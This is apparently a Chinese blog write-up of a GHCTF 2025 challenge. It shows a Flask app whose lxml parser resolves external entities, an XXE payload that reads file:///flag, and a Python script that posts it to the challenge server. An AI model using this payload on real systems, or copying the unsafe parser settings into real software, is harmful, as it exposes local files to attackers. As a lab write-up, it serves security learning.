[GHCTF 2025](>﹏<)

题目代码

from flask import Flask,request 
import base64 
from lxml import etree 
import re app = Flask(__name__) 
@app.route('/') 
def index(): 
    return open(__file__).read() 
@app.route('/ghctf',methods=['POST']) 
def parse():
    xml=request.form.get('xml') 
    print(xml) 
    if xml is None: 
        return "No System is Safe."
 
#漏洞关键点:
#load_dtd=True 允许加载外部dtd文件
#resolve_entities=True 允许解析 XML 实体,包括外部实体

    parser = etree.XMLParser(load_dtd=True, resolve_entities=True) 

#etree.fromstring(xml, parser) 方法将接收到的 XML 字符串解析为一个 Element 对象
#该对象代表着根元素
#在根元素中查找到第一个name标签,并将其文本内容赋值给name
    root = etree.fromstring(xml, parser) 
    name=root.find('name').text 
    return name or None 
if __name__=="__main__": 
    app.run(host='0.0.0.0',port=8080)

 构造

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>

利用Python发包

import requests

url = "http://node1.anna.nssctf.cn:28621/ghctf"
#用"""包裹支持多行文本
exp = """
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>"""

r = requests.post(url, data={"xml": exp})
print(r.text)

直接在根目录下寻找flag 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值